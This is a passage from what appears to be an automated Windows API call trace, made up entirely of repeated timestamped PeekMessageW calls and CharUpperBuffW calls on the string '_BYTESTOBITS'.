lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.649] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.650] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.651] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.657] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.659] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.659] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.660] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.660] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.661] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.662] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.663] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.663] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.664] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.664] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.664] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.665] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.665] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.666] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.666] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.667] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.668] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.700] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.701] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.703] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.704] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.705] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.706] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.707] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.708] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.709] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.710] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.711] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.712] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.713] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.714] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.715] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.716] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.717] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.718] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.719] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.720] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.721] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.722] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.723] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.724] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.725] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 